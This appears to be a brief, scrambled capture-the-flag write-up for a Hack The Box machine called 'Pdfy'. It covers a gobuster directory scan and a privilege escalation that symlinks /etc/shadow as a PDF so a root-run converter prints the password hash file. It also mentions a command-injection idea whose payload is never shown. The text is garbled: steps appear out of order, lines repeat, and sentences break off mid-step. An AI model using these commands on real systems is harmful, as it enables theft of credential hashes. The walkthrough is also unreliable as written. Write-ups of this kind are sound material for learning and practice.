Pdfy Htb Writeup [NEW]

sudo /usr/local/bin/pdfy Enter shadow.pdf → outputs /etc/shadow as text.

ln -s /etc/shadow shadow.pdf Run:

Directory scan:

gobuster dir -u http://10.10.10.116 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt Found: /uploads , /index.php The PDF converter likely uses a command-line tool like pdftotext . A command injection vulnerability exists in the filename handling. Test Injection Create a simple PDF and rename it to: Pdfy Htb Writeup

sudo -l User www-data can run /usr/local/bin/pdfy as root without password. Running /usr/local/bin/pdfy asks for a PDF filename and converts it. It uses a system call to pdftotext – but with no sanitization. Exploitation Create a symlink to /etc/shadow as a PDF: sudo /usr/local/bin/pdfy Enter shadow